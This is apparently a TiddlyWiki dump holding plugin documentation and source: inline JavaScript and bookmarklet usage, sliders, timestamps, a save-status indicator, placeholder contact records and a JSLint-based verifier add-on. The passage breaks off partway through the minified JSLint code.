You can also use an 'onclick' link to define a "bookmarklet": a small piece of javascript that can be ''invoked directly from the browser without having to be defined within the current document.''  This allows you to create 'stand-alone' commands that can be applied to virtually ANY TiddlyWiki document... even remotely-hosted documents that have been written by others!!  To create a bookmarklet, simply define an 'onclick' script and then grab the resulting link text and drag-and-drop it onto your browser's toolbar (or right-click and use the 'bookmark this link' command to add it to the browser's menu).

Notes:
*When writing scripts intended for use as bookmarklets, due to the ~URI-encoding required by the browser, ''you cannot not use ANY double-quotes (") within the bookmarklet script code.''
*All comments embedded in the bookmarklet script must ''use the fully-delimited {{{/* ... */}}} comment syntax,'' rather than the shorter {{{//}}} comment syntax.
*Most importantly, because bookmarklets are invoked directly from the browser interface and are not embedded within the TiddlyWiki document, there is NO containing 'place' DOM element surrounding the script.  As a result, ''you cannot use a bookmarklet to generate dynamic output in your document,''  and using {{{document.write()}}} or returning wiki-syntax text or making reference to the 'place' DOM element will halt the script and report a "Reference Error" when that bookmarklet is invoked.  
Please see [[InstantBookmarklets]] for many examples of 'onclick' scripts that can also be used as bookmarklets.
<<<
!!!!!Special reserved function name
<<<
The plugin 'wraps' all inline javascript code inside a function, {{{_out()}}}, so that any return value you provide can be correctly handled by the plugin and inserted into the tiddler.  To avoid unpredictable results (and possibly fatal execution errors), this function should never be redefined or called from ''within'' your script code.
<<<
!!!!!$(...) 'shorthand' function
<<<
As described by Dustin Diaz [[here|http://www.dustindiaz.com/top-ten-javascript/]], the plugin defines a 'shorthand' function that allows you to write:
{{{
$(id)
}}}
in place of the normal standard javascript syntax:
{{{
document.getElementById(id)
}}}
This function is provided merely as a convenience for javascript coders that may be familiar with this abbreviation, in order to allow them to save a few bytes when writing their own inline script code.
<<<
!!!!!Examples
<<<
simple dynamic output:
><script show>
	document.write("The current date/time is: "+(new Date())+"<br>");
	return "link to current user: [["+config.options.txtUserName+"]]\n";
</script>
dynamic output using 'place' to get size information for current tiddler:
><script show>
	if (!window.story) window.story=window;
	var title=story.findContainingTiddler(place).getAttribute("tiddler");
	var size=store.getTiddlerText(title).length;
	return title+" is using "+size+" bytes";
</script>
dynamic output from an 'onclick' script, using {{{document.write()}}} and/or {{{return "..."}}}
><script label="click here" show>
	document.write("<br>The current date/time is: "+(new Date())+"<br>");
	return "link to current user: [["+config.options.txtUserName+"]]\n";
</script>
creating an 'onclick' button/link that accesses the link text AND the containing tiddler:
><script label="click here" title="clicking this link will show an 'alert' box" key="H" show>
	if (!window.story) window.story=window;
	var txt=place.firstChild.data;
	var tid=story.findContainingTiddler(place).getAttribute('tiddler');
	alert('Hello World!\nlinktext='+txt+'\ntiddler='+tid);
</script>
dynamically setting onclick link text based on stateful information:
>{{block{
{{{
<script label="click here">
	/* toggle "txtSomething" value */
	var on=(config.txtSomething=="ON");
	place.innerHTML=on?"enable":"disable";
	config.txtSomething=on?"OFF":"ON";
	return "\nThe current value is: "+config.txtSomething;
</script><script>
	/* initialize onclick link text based on current "txtSomething" value */
	var on=(config.txtSomething=="ON");
	place.lastChild.previousSibling.innerHTML=on?"disable":"enable";
</script>
}}}
<script label="click here">
	/* toggle "txtSomething" value */
	var on=(config.txtSomething=="ON");
	place.innerHTML=on?"enable":"disable";
	config.txtSomething=on?"OFF":"ON";
	return "\nThe current value is: "+config.txtSomething;
</script><script>
	/* initialize onclick link text based on current "txtSomething" value */
	var on=(config.txtSomething=="ON");
	place.lastChild.innerHTML=on?"enable":"disable";
</script>
}}}
loading a script from a source url:
>http://www.TiddlyTools.com/demo.js contains:
>>{{{function inlineJavascriptDemo() { alert('Hello from demo.js!!') } }}}
>>{{{displayMessage('InlineJavascriptPlugin: demo.js has been loaded');}}}
>note: When using this example on your local system, you will need to download the external script file from the above URL and install it into the same directory as your document.
>
><script src="demo.js" show>
	return "inlineJavascriptDemo() function has been defined"
</script>
><script label="click to invoke inlineJavascriptDemo()" key="D" show>
	inlineJavascriptDemo();
</script>
<<<
!!!!!Revisions
<<<
2010.12.15 1.9.6 allow (but ignore) type="..." syntax
2009.04.11 1.9.5 pass current tiddler object into wrapper code so it can be referenced from within 'onclick' scripts
2009.02.26 1.9.4 in $(), handle leading '#' on ID for compatibility with JQuery syntax
2008.06.11 1.9.3 added $(...) function as 'shorthand' for document.getElementById()
2008.03.03 1.9.2 corrected fallback declaration of wikifyPlainText() (fixes Safari "parse error")
2008.02.23 1.9.1 in onclick function, use string instead of array for 'bufferedHTML' (fixes IE errors)
2008.02.21 1.9.0 output from 'onclick' scripts (return value or document.write() calls) are now buffered and rendered into into a span following the script.  Also, added default 'return false' handling if no return value provided (prevents HREF from being triggered -- return TRUE to allow HREF to be processed).  Thanks to Xavier Verges for suggestion and preliminary code.
2008.02.14 1.8.1 added backward-compatibility for use of wikifyPlainText() in TW2.1.3 and earlier
2008.01.08 [*.*.*] plugin size reduction: documentation moved to ...Info tiddler
2007.12.28 1.8.0 added support for key="X" syntax to specify custom access key definitions
2007.12.15 1.7.0 autogenerate URI encoded HREF on links for onclick scripts.  Drag links to browser toolbar to create bookmarklets.  IMPORTANT NOTE: place is NOT defined when scripts are used as bookmarklets.  In addition, double-quotes will cause syntax errors.  Thanks to PaulReiber for debugging and brainstorming.
2007.11.26 1.6.2 when converting "document.write()" function calls in inline code, allow whitespace between "write" and "(" so that "document.write ( foobar )" is properly converted.
2007.11.16 1.6.1 when rendering "onclick scripts", pass label text through wikifyPlainText() to parse any embedded wiki-syntax to enable use of HTML entities or even TW macros to generate dynamic label text.
2007.02.19 1.6.0 added support for title="..." to specify mouseover tooltip when using an onclick (label="...") script
2006.10.16 1.5.2 add newline before closing '}' in 'function out_' wrapper.  Fixes error caused when last line of script is a comment.
2006.06.01 1.5.1 when calling wikify() on script return value, pass hightlightRegExp and tiddler params so macros that rely on these values can render properly
2006.04.19 1.5.0 added 'show' parameter to force display of javascript source code in tiddler output
2006.01.05 1.4.0 added support 'onclick' scripts.  When label="..." param is present, a button/link is created using the indicated label text, and the script is only executed when the button/link is clicked.  'place' value is set to match the clicked button/link element.
2005.12.13 1.3.1 when catching eval error in IE, e.description contains the error text, instead of e.toString().  Fixed error reporting so IE shows the correct response text.  Based on a suggestion by UdoBorkowski
2005.11.09 1.3.0 for 'inline' scripts (i.e., not scripts loaded with src="..."), automatically replace calls to 'document.write()' with 'place.innerHTML+=' so script output is directed into tiddler content.  Based on a suggestion by BradleyMeck
2005.11.08 1.2.0 handle loading of javascript from an external URL via src="..." syntax
2005.11.08 1.1.0 pass 'place' param into scripts to provide direct DOM access 
2005.11.08 1.0.0 initial release
<<<
/***
InlineSlidersPlugin
By Saq Imtiaz
http://tw.lewcid.org/sandbox/#InlineSlidersPlugin

// Modified to allow inline elements (for dGSD)
// syntax adjusted to not clash with NestedSlidersPlugin
// added + syntax to start open instead of closed
// Changed config.formatters.unshift to .push to not conflict with SortableGridPlugin

***/
//{{{
config.formatters.push( {
  name: "inlinesliders",
  // match: "\\+\\+\\+\\+|\\<slider",
  match: "\\<slider",
  // lookaheadRegExp: /(?:\+\+\+\+|<slider) (.*?)(?:>?)\n((?:.|\n)*?)\n(?:====|<\/slider>)/mg,
  lookaheadRegExp: /(?:<slider)(\+?) (.*?)(?:>)\n((?:.|\n)*?)\n(?:<\/slider>)/mg,
  handler: function(w) {
    this.lookaheadRegExp.lastIndex = w.matchStart;
    var lookaheadMatch = this.lookaheadRegExp.exec(w.source)
    if(lookaheadMatch && lookaheadMatch.index == w.matchStart ) {
      var btn = createTiddlyButton(w.output,lookaheadMatch[2] + " "+"\u00BB",lookaheadMatch[2],this.onClickSlider,"button sliderButton");
      var panel = createTiddlyElement(w.output,"div",null,"sliderPanel");
      panel.style.display = (lookaheadMatch[1] == '+' ? "inline" : "none");
      wikify(lookaheadMatch[3],panel);
      w.nextMatch = lookaheadMatch.index + lookaheadMatch[0].length;
    }
   },
   onClickSlider : function(e) {
    if(!e) var e = window.event;
    var n = this.nextSibling;
    n.style.display = (n.style.display=="none") ? "inline" : "none";
    return false;
  }
});

//}}}
/***
|Name:|InstantTimestampPlugin|
|Description:|A handy way to insert timestamps in your tiddler content|
|Version:|1.0.10a|
|Date:|27-Jun-2011|
|Source:|http://mptw.tiddlyspot.com/#InstantTimestampPlugin|
|Author:|Simon Baird <simon.baird@gmail.com>|
|License:|http://mptw.tiddlyspot.com/#TheBSDLicense|
!!Usage
If you enter {ts} in your tiddler content (without the spaces) it will be replaced with a timestamp when you save the tiddler. Full list of formats:
* {ts} or {t} -> timestamp
* {ds} or {d} -> datestamp
* !ts or !t at start of line -> !!timestamp
* !ds or !d at start of line -> !!datestamp
(I added the extra ! since that's how I like it. Remove it from translations below if required)
!!Notes
* Change the timeFormat and dateFormat below to suit your preference.
* See also http://mptw2.tiddlyspot.com/#AutoCorrectPlugin
* You could invent other translations and add them to the translations array below.
***/
//{{{

config.InstantTimestamp = {

  // adjust to suit
  timeFormat: 'DD/0MM/YY 0hh:0mm',
  dateFormat: 'DD/0MM/YY',

  translations: [
    [/^!ts?$/img,  "'!!{{ts{'+now.formatString(config.InstantTimestamp.timeFormat)+'}}}'"],
    [/^!ds?$/img,  "'!!{{ds{'+now.formatString(config.InstantTimestamp.dateFormat)+'}}}'"],

    // thanks Adapted Cat
    [/\{ts?\}(?!\}\})/ig,"'{{ts{'+now.formatString(config.InstantTimestamp.timeFormat)+'}}}'"],
    [/\{ds?\}(?!\}\})/ig,"'{{ds{'+now.formatString(config.InstantTimestamp.dateFormat)+'}}}'"]

  ],

  excludeTags: [
    "noAutoCorrect",
    "noTimestamp",
    "html",
    "CSS",
    "css",
    "[[systemConfig]]",
    "systemConfigDisabled",
    "zsystemConfig",
    "Plugins",
    "Plugin",
    "plugins",
    "plugin",
    "javascript",
    "code",
    "systemTheme",
    "systemPalette"
  ],

  excludeTiddlers: [
    "StyleSheet",
    "StyleSheetLayout",
    "StyleSheetColors",
    "StyleSheetPrint"
    // more?
  ]

};

TiddlyWiki.prototype.saveTiddler_mptw_instanttimestamp = TiddlyWiki.prototype.saveTiddler;
TiddlyWiki.prototype.saveTiddler = function(title,newTitle,newBody,modifier,modified,tags,fields,clearChangeCount,created) {

  tags = tags ? tags : []; // just in case tags is null
  tags = (typeof(tags) == "string") ? tags.readBracketedList() : tags;
  var conf = config.InstantTimestamp;

  if ( !tags.containsAny(conf.excludeTags) && !conf.excludeTiddlers.contains(newTitle) ) {

    var now = new Date();
    var trans = conf.translations;
    for (var i=0;i<trans.length;i++) {
      newBody = newBody.replace(trans[i][0], eval(trans[i][1]));
    }
  }

  // TODO: use apply() instead of naming all args?
  return this.saveTiddler_mptw_instanttimestamp(title,newTitle,newBody,modifier,modified,tags,fields,clearChangeCount,created);
}

// you can override these in StyleSheet
setStylesheet(".ts,.ds { font-style:italic; }","instantTimestampStyles");

//}}}
 
/***
|''Name:''|IsDirtyPlugin|
|''Description:''|When the TiddlyWiki needs to be saved the tiddler named IsDirty contains ' * ' else it is empty. IsDirty tiddler is also appended in front of the browser page title.<br>Hint: Put it in front of your SiteTitle in your PageTemplate or in your MainMenu as an indicator.<br>For now IsDirty: <<tiddler IsDirty>>|
|''Version:''|1.0.1|
|''Date:''|Mar 20, 2007|
|''Source:''|http://tiddlywiki.bidix.info/#IsDirtyPlugin|
|''Author:''|BidiX (BidiX (at) bidix (dot) info)|
|''[[License]]:''|[[BSD open source license|http://tiddlywiki.bidix.info/#%5B%5BBSD%20open%20source%20license%5D%5D ]]|
|''~CoreVersion:''|2.2.0|
***/
//{{{
version.extensions.IsDirtyPlugin = {
	major: 1, minor: 0, revision: 1, 
	date: new Date("Mar 20, 2007"),
	source: 'http://tiddlywiki.bidix.info/#IsDirtyPlugin',
	author: 'BidiX (BidiX (at) bidix (dot) info',
	coreVersion: '2.2.0'
};

if (!window.bidix) window.bidix = {}; // bidix namespace
if (!bidix.core) bidix.core = {};
bidix.setDirty = TiddlyWiki.prototype.setDirty;
bidix.initIsDirty = function()
{
	var tags = "[[excludeLists]] [[excludeSearch]]";
	var tiddler = store.getTiddler("IsDirty");
	if (!tiddler) {
		tiddler = new Tiddler("IsDirty");
		//tiddler.set(title,text,modifier,modified,tags,created,fields)
		tiddler.set(null,null,null,null,tags,null,null);
		store.addTiddler(tiddler);
	}
	tiddler.set(null,"",null,null,null,null,null);
	return tiddler;
};

TiddlyWiki.prototype.setDirty = function(dirty)
{
	var indic = " * ";
	var oldDirty = this.isDirty ();
	bidix.setDirty.apply(this,arguments);
	var tiddler = bidix.initIsDirty();
	if (dirty)
		tiddler.set(null,indic,null,null,null,null,null);
	else
		tiddler.set(null," ",null,null,null,null,null);
	story.refreshTiddler(tiddler.title);
	store.notify(tiddler.title, true);	
	refreshPageTitle();
};

bidix.refreshPageTitle = function()
{
	document.title = wikifyPlain("IsDirty") + wikifyPlain("SiteTitle") + " - " + wikifyPlain("SiteSubtitle");
};

bidix.core.refreshPageTitle = refreshPageTitle ;
refreshPageTitle  = bidix.refreshPageTitle;
bidix.initIsDirty();
//}}}
Isaac Asimov was a ScienceFiction author
<data>{"first.name":"Joe","last.name":"Blow","email":"joeblow@google.net","webpage":"http://joe.blow.com","company":"Acme Corp.","business.address":"221b Baker St.","business.city":"London","business.country":"England"}</data>
''//Click on the {{{Contact Info}}} button for a handy address book, and on the {{{Conversation Log}}} button to track your contact history with this person.
Don't forget to click on any item in the lists below, to open more Tiddlers.
Hover over the post-it-note icon to preview the Tiddler's content.//''
<data>{"first.name":"John","last.name":"Doe","email":"johndoe@example.com","webpage":"http://thinkcreatesolve.biz/dGSD.html","phone":"(414) 555-1212","address":"221b Baker St.","city":"London","country":"England","company":"Acme Inc.","job.title":"Chief Cook and Bottle Washer"}</data>
/***
|''Name:''|JsVerifier|
|''Version:''||
|''Source:''|[[AiddlyWiki|http://aiddlywiki.sourceforge.net]]|
|''Author:''|[[Arphen Lin|mailto:arphenlin@gmail.com]]|
|''Type:''|WikiBar addon|
|''Required:''|WikiBar 2.0.0+|
!Description
Javascript verifier, refer to http://www.crockford.com/jslint/index.html
!Installation
#install WikiBar at first
#create your addon as a tiddler with tag 'wikibarAddons'
!Code
***/
//{{{

//----------------------------------------------------------------------------
// addon install function: this is a must
//----------------------------------------------------------------------------
function wikibar_addonInstall(unused){

  // define tools
  var jsVerifier={
    TYPE:'MENU',
    CAPTION:'verifier',
    doit:{
  	  CAPTION:'go!',
  	  TOOLTIP:'javascript verifier',
  	  HANDLER: JsVerifier_doIt
  	},
  	DYNAITEM: JsVerifier_genCloseReport,
  	SEPERATOR:{/*-----------------------------*/},
  	options:{
  	  TYPE:'MENU',
      DYNAITEM: JsVerifier_genOptions
    },
    about:{
      HANDLER: function(){
        clearMessage();
        displayMessage('Refer to www.JSLint.com for more informations', 'http:\/\/www.JSLint.com');
      }
    }
	};

  // register tools
  if(!wikibarStore.addon.javascript){ wikibarStore.addon.javascript = { TYPE:'MENU' }; }
  wikibarStore.addon.javascript.jsVerifier = jsVerifier;

  // set style
  setStylesheet(
    '#JsVerifierDiv { background-color: #fff; display:block; overflow:auto; border: 1px solid;}',
    'JsLintStyleSheet' );

  // init
  JsVerifier_init();
}

String.prototype.entityify = function () {
  return this.
              replace(/[&]/g, '&amp;').
              replace(/[<]/g, '&lt;').
              replace(/[>]/g, '&gt;');
};

function JsVerifier_genCloseReport(){
  return {
    closeReport:{
  	  CAPTION:'close report',
  	  DISABLED: !document.getElementById('JsVerifierDiv'), // check if report exist
  	  HANDLER: JsVerifier_closeReport
  	}
  };
}

function JsVerifier_init(){

  // set default value
  cookies = [
    {name: 'chkJsVerifierlaxLineEnd', value: false},
    {name: 'chkJsVerifierplusplus', value: false},
    {name: 'chkJsVerifiercap', value: false},
    {name: 'chkJsVerifierjscript', value: false},
    {name: 'chkJsVerifierdebug', value: false}
  ];

  for(var i=0; i<cookies.length; i++){
    if(config.options[cookies[i].name]===null){
      config.options[cookies[i].name]=cookies[i].value;
      saveOptionCookie(cookies[i].name);
    }
  }
}

function JsVerifier_genOptions(){
  return {
    //TYPE:'MENU',
    laxLineEnd: {
      CAPTION:'strict line ending',
      SELECTED: !config.options['chkJsVerifierlaxLineEnd'],
      HANDLER: function(){
        config.options['chkJsVerifierlaxLineEnd'] = !config.options['chkJsVerifierlaxLineEnd'];
        saveOptionCookie('chkJsVerifierlaxLineEnd');
      }
    },
    plusplus: {
      CAPTION:'++ and -- considered harmful',
      SELECTED: config.options['chkJsVerifierplusplus'],
      HANDLER: function(){
        config.options['chkJsVerifierplusplus'] = !config.options['chkJsVerifierplusplus'];
        saveOptionCookie('chkJsVerifierplusplus');
      }
    },
    cap: {
      CAPTION:'tolerate HTML case',
      SELECTED: config.options['chkJsVerifiercap'],
      HANDLER: function(){
        config.options['chkJsVerifiercap'] = !config.options['chkJsVerifiercap'];
        saveOptionCookie('chkJsVerifiercap');
      }
    },
    jscript: {
      CAPTION:'tolerate JScript deviations',
      SELECTED: config.options['chkJsVerifierjscript'],
      HANDLER: function(){
        config.options['chkJsVerifierjscript'] = !config.options['chkJsVerifierjscript'];
        saveOptionCookie('chkJsVerifierjscript');
      }
    },
    debug: {
      CAPTION:'allow debugger statements',
      SELECTED: config.options['chkJsVerifierdebug'],
      HANDLER: function(){
        config.options['chkJsVerifierdebug'] = !config.options['chkJsVerifierdebug'];
        saveOptionCookie('chkJsVerifierdebug');
      }
    }
  };
}

function JsVerifier_doIt(param){

  try{
    // set jslint options
    jslint.laxLineEnd = config.options['chkJsVerifierlaxLineEnd'];
    jslint.plusplus   = config.options['chkJsVerifierplusplus'];
    jslint.cap        = config.options['chkJsVerifiercap'];
    jslint.jscript    = config.options['chkJsVerifierjscript'];
    jslint.debug      = config.options['chkJsVerifierdebug'];

    var editor = param.button.editor;

    if (jslint(editor.value)) {
        JsVerifier_report(true, jslint.report(), param);
    } else {
        var e = jslint.error;
        r = '<table>'+
            '<tr><td>error</td><td>line: ' + (e.line + 1) + ', character: ' + (e.character + 1) + '</td></tr>' +
            '<tr><td>reason</td><td>' + e.reason.entityify() + '</td></tr>' +
            '<tr><td>code</td><td>' + e.evidence.entityify() + '</td></tr>' +
            '</table>';
        JsVerifier_report(false, r, param);
    }

  }catch(ex){
    alert('Error: '+ex);
  }
}

// close report
function JsVerifier_closeReport(unused){
  var d=document.getElementById('JsVerifierDiv');
  if(d){ d.parentNode.removeChild(d); }
}

// create a div to report
function JsVerifier_report(result, r, param){

  JsVerifier_closeReport();

  if(r.trim().length<=0){return;}

  var editor = param.button.editor;
  var div = createTiddlyElement(editor.parentNode,'div','JsVerifierDiv','viewer'); // CSS: #JsVerifierDiv
  div.innerHTML = r;

//  div.style.left = findPosX(editor) + 'px';
//  div.style.top = findPosY(editor) + 'px';
  div.style.width = editor.offsetWidth + 'px';
  div.style.height = (result? parseInt(editor.offsetHeight,10): parseInt(editor.offsetHeight/2,10)) + 'px';
}


//------------------------------------------------------------------------------------------------
// (C)2002 Douglas Crockford
// www.JSLint.com
// http://www.crockford.com/jslint/jslint.js
//------------------------------------------------------------------------------------------------
var jslint;String.prototype.isAlpha=function(){return(this>='a'&&this<='z\uffff')||(this>='A'&&this<='Z\uffff');};String.prototype.isDigit=function(){return(this>='0'&&this<='9');};(function(){var anonname,builtin,funlab,funstack,functions,lex,lookahead,member,prevtoken,stack,syntax={},token,verb,xmode,xtype,tx=/^([(){}[.,:;'"~]|\](\]>)?|\?>?|==?=?|\/(\*(global)*|=|)|\*[\/=]?|\+[+=]?|-[-=]?|%[=>]?|&[&=]?|\|[|=]?|>>?>?=?|<([\/=%\?]|\!(\[|--)?|<=?)?|\^=?|\!=?=?|[a-zA-Z_$][a-zA-Z0-9_$]*|[0-9]+([xX][0-9a-fA-F]+|\.[0-9]*)?([eE][+-]?[0-9]+)?)/,sx=/^((\\[^\x00-\x1f]|[^\x00-\x1f'\\])*)'/,qx=/^((\\[^\x00-\x1f]|[^\x00-\x1f"\\])*)"/,rx=/^(\\[^\x00-\x1f]|\[(\\[^\x00-\x1f]|[^\x00-\x1f\\\/])*\]|[^\x00-\x1f\\\/\[])+\/[gim]*/,lx=/\*\/|\/\*/,gx=/^([a-zA-Z_$][a-zA-Z0-9_$]*)/,hx=/^[\x00-\x20,]*(\*\/)?/,wx=/^\s*(\/\/.*\r*$)?/;jslint=function(s){functions=[];error.free=true;xmode=false;xtype='';stack=null;funlab={};member={};funstack=[];lookahead=[];lex=new Lex(s);builtin={Array:9,Boolean:9,Date:9,decodeURI:9,decodeURIComponent:9,encodeURI:9,encodeURIComponent:9,Error:9,escape:9,EvalError:9,Function:9,isFinite:9,isNaN:9,Math:9,Number:9,Object:9,parseInt:9,parseFloat:9,RangeError:9,ReferenceError:9,RegExp:9,String:9,SyntaxError:9,TypeError:9,unescape:9,URIError:9};prevtoken=token=syntax['(begin)'];advance();try{if(token.value.charAt(0)==='<'){xml();}else{statements();advance('(end)');}}catch(e){jslint.error=error;return false;}
jslint.error=null;return true;};function object(o){var r=function(){};r.prototype=o;return new r();}
function Lex(lines,filename){if(typeof lines==='string'){lines=lines.split('\n');if(lines.length==1){lines=lines[0].split('\r');}}
jslint.lines=lines;var line=0,character=0,from=0,s=lines[0];function nextLine(){line+=1;if(line>=lines.length){return false;}
character=0;s=lines[line];return true;}
this.token=function(){function string(x){r=x.exec(s);if(r){t=r[1];l=r[0].length;s=s.substr(l);character+=l;if(xmode=='script'){if(t.indexOf('<\/')>=0){throw error('Expected "...<\\/..." and instead saw "...<\/...".',token);}}
return it('(string)',r[1]);}else{if(!xmode){throw error("Unclosed string: "+s,line,character);}
while(error.free){if(!nextLine()){throw error("Unclosed string.",token);}
i=s.indexOf('"');if(i>=0){break;}}
s=s.substr(i+1);return it('(string)');}}
var c,i,l,r,t;while(error.free){if(!s){if(nextLine()){return it('(endline)','');}else{return it('(end)','');}}
r=wx.exec(s);if(!r||!r[0]){break;}
l=r[0].length;s=s.substr(l);character+=l;if(s){break;}}
from=character;r=tx.exec(s);if(r){t=r[0];l=t.length;s=s.substr(l);character+=l;c=t.substr(0,1);if(c.isAlpha()||c==='_'||c==='$'){return it('(identifier)',t);}
if(c.isDigit()){if(token.id==='.'){throw error("A decimal fraction should have a zero before the decimal point.",token);}
if(!isFinite(Number(t))){throw error("Bad number: '"+t+"'.",line,character);}
if(s.substr(0,1).isAlpha()){throw error("Space is required after a number: '"+
t+"'.",line,character);}
if(c==='0'&&t.substr(1,1).isDigit()){throw error("Don't use extra leading zeros: '"+
t+"'.",line,character);}
if(t.substr(t.length-1)==='.'){throw error("A trailing decimal point can be confused with a dot: '"+t+"'.",line,character);}
return it('(number)',t);}
if(t==='"'){return(xmode==='"'||xmode==='string')?it('(punctuator)',t):string(qx);}
if(t==="'"){return(xmode==="'"||xmode==='string')?it('(punctuator)',t):string(sx);}
if(t==='/*'){while(error.free){i=s.search(lx);if(i>=0){break;}
if(!nextLine()){throw error("Unclosed comment.",token);}}
character+=i+2;if(s.substr(i,1)==='/'){throw error("Nested comment.");}
s=s.substr(i+2);return this.token();}
if(t==='/*global'){while(error.free){r=hx.exec(s);if(r){l=r[0].length;s=s.substr(l);character+=l;if(r[1]==='*/'){return this.token();}}
if(s){r=gx.exec(s);if(r){l=r[0].length;s=s.substr(l);character+=l;builtin[r[1]]=9;}else{throw error("Bad global identifier: '"+
s+"'.",line,character);}}else if(!nextLine()){throw error("Unclosed comment.");}}}
return it('(punctuator)',t);}
throw error("Unexpected token: "+(t||s.substr(0,1)),line,character);};this.skip=function(to){if(token.id){if(!to){to='';if(token.id.substr(0,1)==='<'){lookahead.push(token);return true;}}else if(token.id.indexOf(to)>=0){return true;}}
prevtoken=token;token=syntax['(error)'];while(error.free){var i=s.indexOf(to||'<');if(i>=0){character+=i+to.length;s=s.substr(i+to.length);return true;}
if(!nextLine()){break;}}
return false;};this.regex=function(){var l,r=rx.exec(s),x;if(r){l=r[0].length;character+=l;s=s.substr(l);x=r[1];return it('(regex)',x);}
throw error("Bad regular expression: "+s);};function it(type,value){var t;if(type==='(punctuator)'){t=syntax[value];}else if(type==='(identifier)'){t=syntax[value];if(!t||typeof t!='object'){t=syntax[type];}}else{t=syntax[type];}
if(!t||typeof t!='object'){throw error("Unrecognized symbol: '"+value+"' "+type);}
t=object(t);if(value||type==='(string)'){t.value=value;}
t.line=line;t.character=character;t.from=from;t.filename=filename;return t;}}
var error=function(m,x,y){var l,c,t=typeof x==='object'?x:token;if(typeof x==='number'){l=x;c=y||0;}else{if(t.id==='(end)'){t=prevtoken;}
l=t.line||0;c=t.from||0;}
if(error.free){error.free=false;error.id='(error)';error.reason=m;error.evidence=jslint.lines[l]||'';error.line=l;error.character=c;token=syntax['(error)'];token.reason=error.reason;}
return error;};function addlabel(t,type){if(t){if(t==='arguments'){if(type==='global'||type==='var*'){funlab[t]='parameter';return;}else{throw error("Incorrect use of 'arguments'.",prevtoken);}}
if(typeof funlab[t]==='string'){switch(funlab[t]){case'var':case'var*':if(type==='global'){funlab[t]='var*';return;}
break;case'global':if(type==='var'){throw error('Var '+t+' was used before it was declared.',prevtoken);}
if(type==='var*'||type==='global'){return;}
break;case'function':case'parameter':if(type==='global'){return;}
break;}
throw error("Identifier '"+t+"' already declared as "+
funlab[t],prevtoken);}
funlab[t]=type;}}
function peek(i){var j=0,t;if(token==syntax['(error)']){return token;}
i=i||0;while(j<=i){t=lookahead[j];if(!t){t=lookahead[j]=lex.token();}
j+=1;}
return t;}
var badbreak={')':true,']':true,'++':true,'--':true};function advance(id,t){var l;switch(prevtoken.id){case'(number)':if(token.id==='.'){throw error("A dot following a number can be confused with a decimal point.",prevtoken);}
break;case'-':if(token.id==='-'||token.id==='--'){throw error("Confusing minusses.");}
break;case'+':if(token.id==='+'||token.id==='++'){throw error("Confusing plusses.");}
break;}
if(prevtoken.type==='(string)'||prevtoken.identifier){anonname=prevtoken.value;}
if(id&&token.value!=id){if(t){if(token.id==='(end)'){throw error("Unmatched '"+t.id+"'.",t);}else{throw error("Expected '"+id+"' to match '"+
t.id+"' from line "+(t.line+1)+" and instead saw '"+token.value+"'.");}}else{throw error("Expected '"+id+"' and instead saw '"+
token.value+"'.");}}
prevtoken=token;while(error.free){token=lookahead.shift()||lex.token();if(token.id==='<!['&&xtype!=='html'){if(xmode==='script'){token=lex.token();if(token.value!=='CDATA'){throw error("Expected 'CDATA'");}
token=lex.token();if(token.id!=='['){throw error("Expected '['");}
xmode='CDATA';}else if(xmode==='xml'){lex.skip(']]>');}else{throw error("Unexpected token '<!['");}}else if(token.id===']]>'){if(xmode==='CDATA'){xmode='script';}else{throw error("Unexpected token ']]>");}}else if(token.id!=='(endline)'){break;}
if(xmode==='"'||xmode==="'"){throw error("Missing '"+xmode+"'.",prevtoken);}
l=!xmode&&!jslint.laxLineEnd&&(prevtoken.type=='(string)'||prevtoken.type=='(number)'||prevtoken.type=='(identifier)'||badbreak[prevtoken.id]);}
if(l&&token.id!='{'&&token.id!='}'&&token.id!=']'){throw error("Strict line ending error: '"+
prevtoken.value+"'.",prevtoken);}
if(xtype==='widget'&&xmode==='script'&&token.id){l=token.id.charAt(0);if(l==='<'||l==='&'){token.nud=token.led=null;token.lbp=0;token.reach=true;}}}
function advanceregex(){token=lex.regex();}
function beginfunction(i){var f={'(name)':i,'(line)':token.line+1,'(context)':funlab};funstack.push(funlab);funlab=f;functions.push(funlab);}
function endfunction(){funlab=funstack.pop();}
function parse(rbp,initial){var l,left,o;if(token.id&&token.id==='/'){if(prevtoken.id!='('&&prevtoken.id!='='&&prevtoken.id!=':'&&prevtoken.id!=','&&prevtoken.id!='='){throw error("Expected to see a '(' or '=' or ':' or ',' preceding a regular expression literal, and instead saw '"+
prevtoken.value+"'.",prevtoken);}
advanceregex();}
if(token.id==='(end)'){throw error("Unexpected early end of program",prevtoken);}
advance();if(initial){anonname='anonymous';verb=prevtoken.value;}
if(initial&&prevtoken.fud){prevtoken.fud();}else{if(prevtoken.nud){o=prevtoken.exps;left=prevtoken.nud();}else{if(token.type==='(number)'&&prevtoken.id==='.'){throw error("A leading decimal point can be confused with a dot: ."+token.value,prevtoken);}
throw error("Expected an identifier and instead saw '"+
prevtoken.id+"'.",prevtoken);}
while(rbp<token.lbp){o=token.exps;advance();if(prevtoken.led){left=prevtoken.led(left);}else{throw error("Expected an operator and instead saw '"+
prevtoken.id+"'.");}}
if(initial&&!o){throw error("Expected an assignment or function call and instead saw an expression.",prevtoken);}}
if(l){funlab[l]='label';}
return left;}
function symbol(s,p){return syntax[s]||(syntax[s]={id:s,lbp:p,value:s});}
function delim(s){return symbol(s,0);}
function stmt(s,f){var x=delim(s);x.identifier=x.reserved=true;x.fud=f;return x;}
function blockstmt(s,f){var x=stmt(s,f);x.block=true;return x;}
function prefix(s,f){var x=symbol(s,150);x.nud=(typeof f==='function')?f:function(){parse(150);return this;};return x;}
function type(s,f){var x=delim(s);x.type=s;x.nud=f;return x;}
function reserve(s,f){var x=type(s,f);x.identifier=x.reserved=true;return x;}
function reservevar(s){return reserve(s,function(){return this;});}
function infix(s,f,p){var x=symbol(s,p);x.led=(typeof f==='function')?f:function(left){return[f,left,parse(p)];};return x;}
function assignop(s,f){symbol(s,20).exps=true;return infix(s,function(left){if(left){if(left===true||(left.identifier&&!left.reserved)){parse(19);return left;}
if(left==syntax['function']){if(jslint.jscript){parse(19);return left;}else{throw error("Expected an identifier in an assignment, and instead saw a function invocation.",prevtoken);}}}
throw error("Bad assignment.",this);},20);}
function suffix(s,f){var x=symbol(s,150);x.led=function(left){if(jslint.plusplus){throw error("This operator is considered harmful: "+this.id,this);}
return[f,left];};return x;}
function optionalidentifier(){if(token.reserved){throw error("Expected an identifier and instead saw '"+
token.id+"' (a reserved word).");}
if(token.identifier&&!token.reserved){advance();return prevtoken.value;}}
